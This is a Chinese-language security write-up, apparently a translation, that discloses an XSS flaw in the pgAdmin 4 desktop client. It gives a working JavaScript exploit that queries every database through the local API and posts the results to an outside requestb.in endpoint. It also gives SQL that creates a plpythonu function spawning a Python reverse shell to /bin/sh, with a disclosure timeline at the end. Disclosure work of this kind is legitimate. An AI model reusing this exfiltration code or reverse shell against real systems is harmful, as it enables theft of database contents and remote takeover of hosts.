本文我将给大家讲述我是如何发现及利用pgAdmin4桌面客户端中的XSS漏洞。在看完本文之后,请尽快升级到1.4版本。

前言

由于我一只手误触到新MacBookPro上那大得离谱的触摸板,pgAdmin 4页面不断放大缩小。这让我开始思索pgAdmin 4是否为Web应用。

如果这是一个Web应用(当时的我并没有那么肯定),我们是否可以尝试进行攻击呢?我第一件事做的就是进行简单的insert以及select操作。出乎预料的是,竟然能够完成操作!

image这也意味着pgAdmin 4用户可以查看不可信数据(主要是来自Web应用的任意数据),也即存在注入攻击漏洞。接下来得找一个方法在获得的上下文中完成一些有趣的事情。我们必须要注意到2件事,一是环境对我们的限制,二是在正常环境下应用程序是如何执行各种操作的(即它是如何进行查询操作的)。

第一次失败:BeEF hook

我有尝试使用BeEF中强大的hook脚本(可戳《如何在BeEF中使用metasploit颠覆你的浏览器》进行了解),但是它未能返回连接。我这个人很不耐烦,果断放弃了这个相对来说十分快速的方法,转而使用更简单可靠的(但是比较慢)的alert对该App进行黑盒测试。尽管我有其源代码,但我想真正理解代码执行时的环境约束。对环境观察了一段时间之后发现,如果可以找到任意一个全局变量或者属于窗口的对象,或许对于我们想像用户般执行操作会有帮助。然而一无所获,大约15分钟后我就放弃了。

构造一个查询语句

得知该应用程序可以进行查询操作,我仅仅只需要弄清楚它是如何实现的就可以了。我弹出window.location获取到监听服务的端口,之后使用tcpdump进行抓包。image

将本机通信流量记录下之后我执行了如下查询:

tcpdump -vvnni lo0 -w pgadmin.pcap port 53108 

这使得我获得由localhost:53108发起的各种各样的API调用。通过数据包抓取获得的细节这里就不在过多阐述。对于查询操作,我将其缩小为4个步骤来执行:

1.获取数据库列表:/browser/database/nodes/1/1/ 2.初始化查询工具:'/datagrid/initialize/query_tool/1/' + id (id来自步骤1) 3.构造查询语句:'/sqleditor/query_tool/start/' + gridTransId (id来自步骤2) 4.执行查询:'/sqleditor/poll/' + gridTransId (id来自步骤2) 

第二次失败

我认为对本地服务执行CSRF攻击或许有的玩,但事实证明pgAdmin每次启动端口都会改变,此外还会请求一个token令牌进行设置,就目前来看我们没得玩啊。

Exploit

以下为可用的exploit以及进行查询之后将结果发送到requestb.in的演示视频。https://youtu.be/3Dwpz5IYsCg

var query = 'select current_user, current_database()'; var exfil_url = 'http://requestb.in/1azh0xv1'; var exfil = function (data) { //alert('exfiltrating....'); $.post(exfil_url, {data: JSON.stringify(data)}, function () {

    });
} // DB List $.get('/browser/database/nodes/1/1/', function (response) { var d = JSON.stringify(response.data); var doStuff = function (arr) { if (arr.length == 0) { return; // all done } var id = arr.shift()._id; // Query Tool Init $.post('/datagrid/initialize/query_tool/1/' + id, function (response) { var gridTransId = response.data.gridTransId; // Make Query $.ajax('/sqleditor/query_tool/start/' + gridTransId, {
                type: 'post',
                data: '"' + query + '"',
                dataType: 'json',
                contentType: 'application/json',
                success: function(response) { // Get Results setTimeout(function () {
                        $.get('/sqleditor/poll/' + gridTransId, function (response) {

                            exfil(response.data.result); return doStuff(arr);
                        }).fail(function () { return doStuff(arr);
                        })        
                    }, 0);

                }
            }).fail(function () { return doStuff(arr);
            })
        }).fail(function () { return doStuff(arr);
        })
    }

    doStuff(response.data);
}); 

代码执行

做人如果没有梦想就跟咸鱼有什么分别!各位看客都看到这里了,我们就来搞搞RCE如何?如果连接到数据库的用户有些权限,执行以下3个请求将会帮助你获得一个非常不错的shell:

  • 使用Python语言
create language plpythonu 
  • 创建一个调用函数,你也可以将其放进上面的PoC中:
var query = 'CREATE OR REPLACE FUNCTION pwn() RETURNS text\\nLANGUAGE plpythonu\\nAS $$\\nimport socket,subprocess,os\\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\ns.connect((\\"127.0.0.1\\",4445))\\nos.dup2(s.fileno(),0)\\nos.dup2(s.fileno(),1)\\nos.dup2(s.fileno(),2)\\na=subprocess.Popen([\\"/bin/sh\\",\\"-i\\"])\\nreturn \\"\\"\\n$$;\\n'; 
  • 执行函数
select pwn() 

时间线

03-16-2017 – 发现问题

03-17-2017 – 构造exploit

03-17-2017 – 向security@postgresql.org进行报告

03-20-2017 – Dave Page确认漏洞

03-31-2017 – 约一周后更新版本

04-10-2017 – 公布补丁

*参考来源:liftsecurity,FB小编 鸢尾 编译